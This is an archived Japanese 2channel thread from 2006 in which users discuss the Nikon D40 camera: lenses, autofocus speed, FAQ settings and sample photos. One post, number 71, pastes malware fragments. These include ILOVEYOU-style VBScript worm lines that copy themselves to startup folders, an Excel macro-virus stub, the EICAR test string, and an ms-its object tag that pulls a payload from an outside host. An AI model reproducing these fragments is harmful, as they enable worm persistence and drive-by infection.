5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【小さくて】Nikon D40 Prat6【カワイイ】

1 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:27:06 ID:opnpYhxJ0
公式 Nikon Imaging | D40
ttp://www.nikon-image.com/jpn/products/camera/slr/digital/d40/index.htm

【D50後継?】Nikon D40 Part1【エントリー機】
http://hobby7.2ch.net/test/read.cgi/dcamera/1162693678/
【小さい】Nikon D40 Prat2 【5万円代】
http://hobby7.2ch.net/test/read.cgi/dcamera/1163732619/
Nikon D40 part3
http://hobby7.2ch.net/test/read.cgi/dcamera/1164030392/
【6M最強画質】Nikon D40 Prat4【小型・軽量】
http://hobby7.2ch.net/test/read.cgi/dcamera/1164535126/
【高感度最強】Nikon D40 Prat5【ノイズレス】
http://hobby7.2ch.net/test/read.cgi/dcamera/1165059354/

Nikon 装着可能レンズ一覧表
ttp://www.nikon-image.com/jpn/products/camera/slr/digital/d40/features04.htm
ヨドバシ D40用レンズ こちらの方が初心者に優しい
ttp://www.yodobashi.com/enjoy/more/productslist/61904372.html


2 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:27:33 ID:sjkQDz+g0
乙!

3 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:28:01 ID:Oa3QfCMVO
2だったらD40を買う

4 :前スレ978:2006/12/06(水) 22:29:39 ID:dMnW3/nW0
>>1 スレ立てありがとさんです。

実機レビュー

デジカメWatch【新製品レビュー】ニコン D40 Reported by 北村 智史
ttp://dc.watch.impress.co.jp/cda/review/2006/12/05/5180.html

実写サンプル

デジカメWatch【1st Shot】ニコン D40実写画像 Reported by 山田 久美夫
ttp://dc.watch.impress.co.jp/cda/review/2006/11/30/5143.html

デジカメWatch【実写速報】ニコン D40(β機)
ttp://dc.watch.impress.co.jp/cda/review/2006/11/21/5095.html

ふぉとカフェ 新機種やじうまレポート
ニコンD40 VS. ニコンD50 VS. ペンタックスK100DのISO感度比較画像を緊急公開!!
ttp://www.photo-cafe.jp/scoop/archives/2006/11/d40_vs_d50_vs_k.html


5 :前スレ978:2006/12/06(水) 22:31:03 ID:dMnW3/nW0
D40 実写画像リンク集
http://www.letsgodigital.org/en/camera/review/121/page_9.html
http://www.letsgodigital.org/en/camera/review/121/page_7.html
http://www.letsgodigital.org/en/camera/review/121/page_8.html
http://pixinfo.com/cikkek/nikon_d40.7
http://www.imaging-resource.com/PRODS/ND40/ND40A7.HTM
http://www.digitalreview.ca/cams/Nikon_D40_Images.shtml
http://dc.watch.impress.co.jp/cda/review/2006/11/21/5095.html
http://www.photo-cafe.jp/scoop/archives/2006/11/d40_vs_d50_vs_k.html


カタログダウンロード (PDFファイル:1,477KB)
http://chsv.nikon-image.com/jpn/products/camera/slr/digital/d40/catalogue/cata_d40.pdf

デジチューター(見て聞くマニュアル)
http://www.nikondigitutor.com/jpn/d40/index.shtml
iPod用デジチューター
http://www.nikondigitutor.com/jpn/ipod/index.shtml
携帯電話用プロモーションムービー
http://www.nikondigitutor.com/jpn/mobile/

6 :前スレ978:2006/12/06(水) 22:31:46 ID:dMnW3/nW0
※D40でオートフォーカスが可能な超音波モーター搭載レンズ(一部)

DX 18-55mm F3.5-5.6  キットレンズ。軽い。デザインが新しくなった。
DX 18-135mm F3.5-5.6  扱い易い7.5倍ズーム。
DXVR 18-200mm F3.5-5.6  手ブレ補正機能付き11倍ズーム。大人気。常に品薄。

DX 55-200mm F4-5.6  ダブルズームキットのレンズ。軽量の望遠ズーム。
VR 70-300mm F4.5-5.6  手ブレ補正付き望遠ズーム。
VR 70-200mm F2.8  手ブレ補正付き大口径望遠ズーム。テレコンバータが使用可能。

DX 18-70mm F3.5-4.5  標準ズーム。テレ側がF4.5で少し明るい。
DX 17-55mm F2.8  大口径標準ズーム。
DX 12-24mm F4  広角ズーム。
VR 105mm F2.8 Micro  接写可能な手ブレ補正単焦点レンズ。

シグマ製の一部
DC 10-20mm F4-5.6  広角ズーム
DC 50-150mm F2.8  大口径望遠ズーム
DG 50-500mm F4-6.3  超望遠10倍ズーム。要三脚。
DC 30mm F1.4  大口径単焦点レンズ

7 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:32:36 ID:pnUEOCL50
ニコンは新規参入組を苦しめるために価格破壊戦略に走ったのかな?
価格破壊に耐えられるのは、初期投資回収済みで、しかもシェアが大きく
て薄利多売できるメーカーだけだからな。

8 :前スレ978:2006/12/06(水) 22:33:39 ID:dMnW3/nW0
■FAQ その1(※質問前に必ず目を通して下さい)
★Q1.いまどき600万画素って少なくないですか?
  A1.その代わり高感度にはかなり強いです。ISO1600まで十分常用になる
    ノイズレスを実現できています。
    また、大判プリントをしないのであれば、600万画素でもプリント画質に
    ほとんど劣化は見られないとされています。(A4サイズ程度まで)
★Q2.レンズキットのAF速度が遅いんだけど
  A2.設定→AFエリアモード→シングルエリアAFモードにしてみてください。
★Q3.コンパクトデジの様に、ちょっと派手すぎる写真しか撮れないのですが
  A3.仕上がり設定を「ソフト」か
    「カスタマイズ」で階調補正-2 輪郭強調0 カラー設定Ia 彩度0を基本に
    好みで変更してみてください。露出はデフォルトでは明るめなので-0.3が良し。
★Q4.カラー設定の違いを教えて。
  A4. I : 人物や一般の写真に向いた色モード (普通はsRGB)
    II : 上級機以外は、AdobeRGBという色モードで、専用機器をつかうと色再現性が高い
    III: 風景撮影に向いた色モードで、コントラストと彩度が高い (普通はsRGB)
    さらに、 a とつくものは、 IとIIIを、さらに派手にチューニングしたもので
    中級機以下のボディに搭載される、「一般用途」向けの色モードです
★Q5.空の色が綺麗な青じゃなく、水色になってしまうことが有るのですが
  A5.被写体に暗い部分が多い場合に発生しやすいです。
    空の青が飽和したためですので、飽和しにくい設定(モードIや階調補正マイナス)
    にするか、露出をマイナス補正して試してください。
★Q6.AF-Sレンズ以外ではAFできないの?
  A6.シグマのHSM搭載レンズがAFできるようです。ただし今のところメーカは保証していません。
    以下、動作確認レンズ
    シグマ30mm F1.4 EX DC HSM
    シグマ10-20mm F4-5.6 EX DC HSM
    シグマAPO 50-150mm F2.8 EX DC HSM


9 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:34:01 ID:1+VB323u0
エントリー機の適正価格に戻しただけじゃないの。
今のご時世、良くなって安くなって当たり前。


10 :前スレ978:2006/12/06(水) 22:34:21 ID:dMnW3/nW0
■FAQ その2
★Q7.AF-Sレンズ、HSMレンズ以外のレンズ内モータがないレンズをつけるとどうなるの?
  A7.(1)AFができません。
    (2)CPU内蔵(AiAF、Ai-P、現行タムロン、シグマ(非HSM))レンズは、露出計が連動しますので絞り優先AEできます。
    (3)CPU非内蔵(非Ai、Ai、Ai-S、コシナツァイスZFなど)は、露出計も動きません。
    なお、絞り最小検出レバーの形状が変わったため非Aiレンズは無改造で装着可能。


11 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:45:52 ID:mce8hXZo0
D50に比べて解像度で見劣りするように思うんだけど・・
http://mpm.kitamura.co.jp/mssm/blogs/829/4440/2006/11/NikonD40vsD50_116398.html

12 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:46:06 ID:EZOmwfaP0
絵が塗り絵系だから矢田な

13 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:52:02 ID:OdZsOg/B0
質問

AE-L/AF-Lボタンってどういう意味ですか
これを押すとAE,AFが同時にロックされるんですか。

それとも、切り替えスイッチかなんかついていて
AEだけロックもできるんですか
できないんだったら、なんか使いにくそうなんだけど


14 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:55:42 ID:dK7S6/Pf0
>>1
>>4-6、8
スレ立て&テンプレ乙!

それにしても、最初はこんなにお気に入りになるなんて思わなかったな、D40。

というか、発表直後はAF-Sレンズ専用とか、AEB省略とか、
軍艦部の液晶廃止とかが気に入らなくて、思いっきり叩いてたし、俺(笑)

でもまあとりあえずニコン最新機種だし、安いし。
叩いて捨てるにしてもモノがないと話にならないから、一応買ってみるか、と。
店頭で手に取って感触確かめて……その後の記憶がない。
で、気が付くと手さげ紙袋の中に、レンズキットの箱が……(笑)

D40で写真撮るのって、なんでこんなに楽しいんだろうな。
肩の力が抜けて、気楽というか、いい意味で緊張しないというか。
ただ無心にファインダーを覗いてはシャッターを切りたくなる。
そんな不思議なカメラ。

15 :名無CCDさん@画素いっぱい:2006/12/06(水) 22:58:44 ID:VaAvja3o0
俺もLPF掃除の練習台として、肩の力抜いて取り組めそうなので買おうかな これ

16 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:03:04 ID:L8+yHA/C0
もうちょっとまともなテンプレ作れよ
不十分すぎるだろカスが
ここでしか役に立てないカスなんだから少しは意地みせろ
ここのテンプレ適当すぎだろ
他にも問題多すぎ

17 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:03:39 ID:1+VB323u0
>>13

自分好みに設定できる。

カスタムメニューの「AE-L/AF-L」ボタンの機能の設定画面。「AF作動」にすれば“親指AF”も使える
http://dc.watch.impress.co.jp/cda/review/2006/12/05/5180.html


18 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:05:02 ID:SaLjO80V0
>>11
S(150万画素)で撮影しているから、レンズやCCDの解像度は分からないよ。
でも、どの撮影条件でもなんかボケてるね。縮小アルゴリズムの問題かな?

19 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:06:02 ID:H080XMT/0
>>13
こんな感じで機能を割付可能
http://dc.watch.impress.co.jp/cda/parts/image_for_link/75059-5180-9-2.html
「AEロック維持」は押して話すとAEロック状態を維持。もういちど押して話すと
ロックが解除。

オレは「AFロック維持」が欲しいな。


20 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:07:24 ID:H080XMT/0
かぶったorz
話さないで離せ>おれ

21 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:10:08 ID:qzLefn8L0
結局D80の抱き合わせCMだけでD40単独のCMはやんないのね。

22 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:15:26 ID:VtRumeET0
http://mpm.kitamura.co.jp/mssm/blogs/829/4440/2006/11/NikonD40_116339.html

ISO100・・・

23 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:18:52 ID:dK7S6/Pf0
社員教育ちゃんとしろ、キタムラグループw

販売担当の商品知識がこれじゃまずかろう(笑)

24 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:24:32 ID:IiAzgpOq0
>>22の写真で3階の前にある電線の周辺に赤いノイズみたいなのが出てるね
これ何?

25 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:25:09 ID:mLehrN8v0
>>22
ISO1600 やけにノイジーだと思ったら、
ISO3200 じゃないか。

これって、ネガティブキャンペーン。

26 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:27:38 ID:Djdh9P4B0
D50との比較画像もブレだかボケだかでイマイチな作例
キタムラはD40に否定的なのか?

27 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:31:13 ID:SaLjO80V0
>>24
JPEGの圧縮ノイズ。
ファイルサイズが271KBというのは、サンプルとしてどうかな。

28 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:34:32 ID:EHMJJMCd0
同じ風景を色んなカメラで撮ってるけどD40は派手だね
http://mpm.kitamura.co.jp/mssm/blogs/829/4440/

29 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:38:29 ID:fIl91UOz0
レンズキット買ってきた。ただいまバッテリーの充電中。
取説9pには保護シールを剥がしてってかいてあるけど、貼ってなかったんですが開封品をつかまされたかな>淀
指紋が付きにくいのはいい感じ

30 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:40:02 ID:dK7S6/Pf0
>>27
同意。サイズSは仕方ないにしろ、わざわざ画質をBASICまで落とさんでも……w

まぁ、K100DやD80、KDXが発売された時にも、新機種の購買意欲を削ぐようなヘンな作例ばっかだったしねぇ、ここ。
わざとやってるのか単にヘボなのかわからんが、あまり作例として信頼しないほうが。

31 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:45:29 ID:IiAzgpOq0
>>27 ありがとう、気になってたんでスッキリした。

32 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:45:54 ID:td6y4x9z0
今のフラッシュメモリ容量飽和の時代に、サイズはともかくわざわざ画質を
落とす人はおらんだろうにねぇ

512積めばRAW+BASICでも58撮れるのに(´・ω・`)

33 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:51:45 ID:c+VmX8Jb0
なんじゃぁ・・・このスレタイ

34 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:51:59 ID:4zjyfdOd0
まったくもって素人で申しわけないけどコレって動画もできる?
コンデジからステップアップしたいけどホムペ見ても解らなかった…

35 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:53:53 ID:NZaLLzxd0
Wズームの55-200、かなりAF遅いような気がする
D40だから?D50の時もこんなもん?
18-55の方はそれほど遅いと思わなかったんだけど

36 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:55:57 ID:1+VB323u0
>>34

一眼レフは動画は出来ない。


37 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:58:04 ID:5hQ2uNnu0
>>35
>>8
FAQのQ2を見てください。

38 :名無CCDさん@画素いっぱい:2006/12/06(水) 23:59:41 ID:XkK0B4as0
一秒間に30回もミラーがアップ・ダウンするのは無理だな。
動画撮影中はミラーがアップしたままでいいなら、
原理的に出来ないというわけでもなさそうだが。

39 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:02:55 ID:oNmdpRxJ0
連写スチルを動画編集ソフトでエディットして動画を創る、
くらいの創作意欲が欲しい。

40 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:03:50 ID:0AQZpIGz0
>>38
ミラーアップしたままだとファインダーが見えないw

EVFになったら、、オマケで動画機能も付くようになるのか・・・?

41 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:11:25 ID:PTXEyVXa0
>>36
やっぱりそうなのか… 
当たり前のことなのかもしれないけど、本当に解らなかった
手数とらせてスマンかった ありがとう。

42 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:14:20 ID:3AVLpusG0
>>8 前スレ978

激しく乙。


43 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:16:45 ID:eTYxdHv10
>>37
もちろんシングルにしたよ
18-55は効果あったけど55-200の方はちょっと厳しいっぽ

44 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:19:12 ID:pcgGGT/T0
>>40
ミラーアップして動画撮影中は液晶に画像を表示するだろ。
いまのような静止画専用のイメージセンサじゃ、
5fpsとかそんなぐらいしか撮れないだろうから
どっちみち実用にはならんが。

45 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:19:19 ID:IFR/Xye/0
ミラーうpした状態で、CCDが捕らえた画像を常に背面液晶で出し続ければ、
一般的には1眼でも動画撮影できなくもないよね。

ただ、今積んでるCCD使ってる限りでは絶対不可能だけんども

46 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:19:54 ID:IFR/Xye/0
あー
また誰かと脳がシンクロ

47 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:20:18 ID:Ubw0wqS00
R1というAPSサイズでフルタイムプレビューを行ってるカメラも忘れないようにね。
技術的には可能でもコスト的に実現できない事も多いのよ。

48 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:21:14 ID:tWn1sqmJ0
>>19
AFロック維持なんて、MFにしておけば良いじゃないかぁ。。。

49 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:21:24 ID:bjqL9UST0
>>41

みんな初めはそんなモン。

一眼の動作の動画がどこかにあるの知っていれば紹介したかったけど、
お店で同じ質問して、許可を得てレンズを外し、連写してみれば一発で分かる。


50 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:23:01 ID:7NJKD5ER0
>>43
じゃ、そんなもんだろうな。体感的なものだよ。
AFの速い遅いなんて、実測すると1秒も差が無いことが多いから
あんまり気にしないことだ。



51 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:23:03 ID:iNBhxAei0
バッテリーがEN-EL3系じゃない件について


52 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:24:16 ID:7NJKD5ER0
>>51
この細くても持ちやすいグリップのためなら我慢するw

53 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:25:03 ID:/MBkiKhe0
まだ発売されていないけど、SD14のセンサーは動画撮影対応らしい。
カメラとしてその機能を採用するかどうかは分からないが。

54 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:25:40 ID:WrwqY31f0
>>47
お前、頭大丈夫か?
DSC-R1は一眼レフじゃないぞ?

55 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:26:39 ID:2KAK/TA40
このカメラでスポーツ・運動会を撮影するのは無理みたいですね。

56 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:27:14 ID:5PKWvDB70
>>54
お前、頭大丈夫か?
もういちど話の流れを読み直してみろ?

57 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:28:12 ID:WrwqY31f0
>>43
55-200は元々AF遅いんだよね。
18-55と比べてもかなり遅いと思う。

こればかりはレンズの値段からして仕方ないかと。

58 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:29:00 ID:tWn1sqmJ0
D50も同じだけど、撮影データが3008*2000のうち端数が気になる。
3000*2000じゃ駄目だったんだろうか。。。。

59 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:29:57 ID:IFR/Xye/0
どういう流れだと思っているのかがすごく気になる

60 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:30:27 ID:7NJKD5ER0
スポーツ撮れるでしょ。普通に。

知らない人もいるだろうから敢えて書くけど、AFセンサーが迷う迷わないなんて
室内の光と、外の(運動会の)光とじゃ全然違うよ。

外で撮影するならば、明るく、コントラストのついた光線状態でテストしてからじゃないとな。


61 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:32:25 ID:3OZIlYPT0
>17
>19

サンクス

62 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:35:01 ID:GNvn/Ojf0
>>58
> 撮影データが3008*2000
しかもRAWで撮影すると実際のサイズは 3040*2014 あるし。
Nikon純正のソフトだと 3008*2000 しか取り出せないけど。

63 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:38:11 ID:7NJKD5ER0
>>58

マジレスすると、jpeg画像作るときに、8の倍数になってた方がいいんだよ。
(符号化のドット数が8x8)

で、3000ドットだと、8で割り切れるじゃん? っておもうけど
Sサイズにすると、一辺は半分の1500ドットになる。今度は8で割り切れない。

3008だと、もちろん8で割る切れる、Sサイズの1504も8で割り切れる。

こういう発想ではないかと想像する。

64 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:40:26 ID:Kf2gRjxmP
本体安いのに高いレンズでしか力を発揮できない
ってのは商売だから仕方ないのか?

65 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:41:40 ID:7NJKD5ER0
>>64
普通に使えるくらいの良いレンズ(キットレンズ)が、1万円以下でセットになるんだが・・・・


66 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:48:32 ID:WrwqY31f0
18-55はあの値段にしては相当な実力の名レンズだと思うが?
以前D50を買った時、18-70と作例見比べて、
18-55目当てにわざわざレンズキットを選んだくらいだ。

で、D40も当然レンズキットを購入。
せっかくトータルデザインになってるんだし、安いし。
18-55が予備にもう1本あっても困ることはない。

67 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:52:39 ID:7NJKD5ER0
やっぱあれだな、高倍率ズーム全盛期とはいえ
無理のない倍率のズームレンズてのは安くていいものが作れるな。


68 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:54:29 ID:/MBkiKhe0
CIPAの統計で10月の出荷台数を見ると、

デジタル一眼レフ:58.6万台
デジタル専用レンズ:60.2万本
35mm用レンズ:31.8万本

このレンズ本数はキットレンズも含んでいるから、デジタル専用レンズだとほぼ本体と
同じ数しか出荷されていない。銀塩用にレンズを買う人や、一人で複数本買う人がいる
ことも考えると、初心者のほとんどはキットレンズしか買わないのでしょうね。

69 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:57:54 ID:18I+FcL80
>>51 バッテリーが EN-EL7 系でもない件について

70 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:59:05 ID:9T6emwC00
デジタルの魔法数
2,4,8,16,...
デジイチの魔法数
1.4(√2),2(√4),2.8(√8),4(√16),...

つうか、シングルAFにしても全然かわらねーんだけど。
18-55II、18-200VR、30HSM、で試したが、遠→近も近→遠もかわらねえ。
折れのボディだけ欠陥かorz


71 :名無CCDさん@画素いっぱい:2006/12/07(木) 00:59:40 ID:MPJX5qvn0
body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???


72 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:00:45 ID:9YUy/We10
>>68
買い増しや買い替えで、本体だけ買う人が意外と多いなんてこともあるかな?
デジタルはボディの実用的寿命が短いからね。

73 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:00:59 ID:9T6emwC00
しかしEN-EL3からEN-EL9になって何g軽くなんたんだ?


74 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:02:09 ID:Iq2+Fk5B0
軽くなったのも大きいが、薄く小型になったのもおおきいだろう。

75 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:08:02 ID:7NJKD5ER0
>>72
そっちの分もあるだろうね。
いずれにしても、普通の人のレンズ所有本数は、多くて3本だよ。

76 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:21:48 ID:2KAK/TA40
実測1秒弱AFが遅かったら
スポーツ撮りには使い物にならないとおもうよ。
擁護しているひとはどうせ運動会でうまくとれません、とかいう
相談がきたら、ようは使いこなしですとかいいながら
おきピンみたいな原始的な手法吹き込むんだろう。
それが上級者、みたいな顔して。
最初からD40でスポーツはだめ、ってしたほうが罪が
ないと思うお。



なんちゃって(笑

77 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:30:25 ID:7NJKD5ER0
>>76
実測1秒遅いなんて決まったわけでもないんだが?

で、何と比べていってんのw

78 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:33:12 ID:1OA5SnAY0
D40の貧弱なAFには大いに不満な俺があえて書くけど
置きピンは原始的な手法ではないよ。
時代を超えた標準的な手法だ。
だからもちろん置きピン使えるのが上級者なんてことも全然ない。

というわけでD40でも運動会撮りには全然問題ないものの、
こんな中途半端なAFならむしろMF専用で出してくれた方がすっきりして良かったと思う。
そうしたらAFが速いとか遅いとかいう不毛な議論も無かったのに(笑)

79 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:36:04 ID:1OA5SnAY0
ID:7NJKD5ER0が>>50で1秒とか書いたのがよろしくなかったと思う。
そのせいで運動会がどうとかの寒いギャグが提示された模様。

80 :名無CCDさん@画素いっぱい:2006/12/07(木) 01:59:33 ID:2uO39gsC0

キヤノンのデジタル一眼レフカメラの場合、テレビのインターレースの
ような横シマ模様が無数に出ることがあります。
これはEOSシリーズの1D、1Ds、10D、20D、30Dのほか5Dでも出ています。
特に薄い青空や雲・雪面に表われることが多く、時には肌の影部分など
にも出ることもあります。

しかし、キヤノンではこの縞ノイズ対策が出来ていないのが現状です。
メーカーに問い合わせても修理できません。

ニコンのエッジ部分のみに現われるいわゆる「睫毛」とも似ていますが、
キヤノンの場合、かなり広範囲な部分にノイズが乗るため、
目立ってしまいます。



81 :名無CCDさん@画素いっぱい:2006/12/07(木) 02:03:47 ID:JC7Vh8BZ0
>>80
実例なくば、単なる荒らし。

82 :名無CCDさん@画素いっぱい:2006/12/07(木) 02:29:06 ID:sAITSleB0
ちょっとそういう質問があると、先輩風吹かす奴いるよなw
得意げに語ってんじゃねーよ禿が

83 :名無CCDさん@画素いっぱい:2006/12/07(木) 02:32:00 ID:PVsusaaB0
D40を買います。SDカードは何を買ってもいいんですか?

84 :名無CCDさん@画素いっぱい:2006/12/07(木) 02:35:18 ID:zi/CNoBt0
>>83 名の知れたブランドなら大丈夫だろう。
そんな俺はA-DATAw

85 :名無CCDさん@画素いっぱい:2006/12/07(木) 03:37:34 ID:2KAK/TA40
貧弱なAFでも運動会に問題なしとはこれ烏賊に。
置きピンで撮るからってことなら
世間の要求レベルとずいぶんズレがあるんじゃないすかね。

86 :名無CCDさん@画素いっぱい:2006/12/07(木) 03:41:15 ID:0/AAy+SF0
18-200VRのAFなら問題なく運動会に使えるけど。

87 :名無CCDさん@画素いっぱい:2006/12/07(木) 03:49:19 ID:7NJKD5ER0
所詮は荒らし、アンチが根拠もなく(撮ってきたわけでもなく)
使えないって言ってるだけだしなw

88 :名無CCDさん@画素いっぱい:2006/12/07(木) 04:29:17 ID:kpRSQHDa0
デジカメ板荒らし報告スレ
http://qb5.2ch.net/test/read.cgi/sec2chd/1165287768/


89 :名無CCDさん@画素いっぱい:2006/12/07(木) 04:34:21 ID:/MeOEpWg0
>>83
店で一番安かったSanDiskの1GB使ってるよ。

90 :名無CCDさん@画素いっぱい:2006/12/07(木) 06:50:15 ID:uMQmcdBj0
SanDiskの安いやつはニセモノの可能性があるので注意

91 :名無CCDさん@画素いっぱい:2006/12/07(木) 07:27:52 ID:eTYxdHv10
ごめーん。
55-200が遅いって書いたばかりに妙な雲行きっぽいんで恐縮。

18-55のAF速度は特に問題を感じなかったので、この55-200
のレンズ側の問題なのかなと思って。
AFが迷って遅いんじゃなくて、フォーカスの移動自体がトロい
って感じた。モーター?電源?
このトロさの原因がボディ側の問題じゃないならば、VR18-200
なりを使えば動体もOKなのかなと思って聞いたつもりでした。

92 :名無CCDさん@画素いっぱい:2006/12/07(木) 08:12:21 ID:vaqh4HvbO
>>91
55-200のAFスピードは、伊達氏もボディ内モーターより
遅いとコキおろしてたから仕方あるまい。

93 :名無CCDさん@画素いっぱい:2006/12/07(木) 10:49:30 ID:9RXqupNY0
それにしても作例少ないなぁ、、、

94 :名無CCDさん@画素いっぱい:2006/12/07(木) 11:25:01 ID:aEuDRF5V0
>>93
出したシーズンが悪いですね。
概ねイベント事は終わり、紅葉も行楽も終わったこの時期にあえて発売とは正気とは思えません。
消費者に買う意欲が湧かないのです。
K100Dの売れ行きに焦ったようですが、実はライバルはPS3やWiiなど、ゲーム機という理不尽な状況です。
地デジ対応薄型テレビもあります。
またクリスマスシーズンは子供や恋人のプレゼントにお金が掛かるもの。カメラなんて買う状況に無いのです。
K10Dは以前から出すぞ出すぞと散々煽って炊き付けて『購入予定に入れて来た』ので
この時期でも売れたのでしょう。
ぽっと出して、安いし画質もいいからお買い得ですよ。では売れないのでしょうね。
どんなに良くっても『購入予定に入ってない』で終わりですね。

95 :名無CCDさん@画素いっぱい:2006/12/07(木) 11:43:51 ID:4JO9o+160
>>94
クリスマスと正月の後に出したらそれこそ時期はずれの気がするんですけど・・・

96 :名無CCDさん@画素いっぱい:2006/12/07(木) 11:56:34 ID:pz9YqnE60
発売時期については、禿げしく同意。
なんでPS3やWiiと同じ時期にD40出したんだよ。
おかげで、ちょいと良さそうだなと思ったD40はまったく購入予定には
入れられなかったじゃねーか。

でもな、いざPS3買おうと思って店に行ったら、もう売り切れだったのよ。
じゃ、代わりにWiiを、と思ってもこっちも売り切れ。
買う気マンマンで店に来たのに、あまりにもしゃくだったんで
浮いちまったお金で『購入予定に入ってない』D40を
買っちまったじゃねーか。

ちょっと出る時期ずらせば余計な金使わなくて済んだのによ。
なんで同じ時期にだすんだよ。まったく!


97 :名無CCDさん@画素いっぱい:2006/12/07(木) 12:08:43 ID:ysiW42Q40
>>96
すごくいい時期じゃまいか?

98 :名無CCDさん@画素いっぱい:2006/12/07(木) 12:24:53 ID:OTbr+SPL0
>>96
ニコンのおもうツボじゃまいか?

99 :名無CCDさん@画素いっぱい:2006/12/07(木) 12:54:08 ID:9j8m8dXI0
ボーナス、これからクリスマス、正月と迎えるファミリー向けとしては、
やっぱりニコンの思うツボでは。

ゲーム機には手を出さなかった反動でD40衝動買い。ボディのみ。
これまでは銀塩一眼(MF)だったので、45mmPに初めて通電してやれる。
あとは手持ちのMFレンズでしばらく遊ぶ予定。


100 :名無CCDさん@画素いっぱい:2006/12/07(木) 13:07:14 ID:7EWVDzch0
デジカメ 伸びる低価格「一眼」、女性層にピント ニコンも参入

 デジタル一眼レフカメラの市場が活況にわいている。ソニーと松下電器産業が
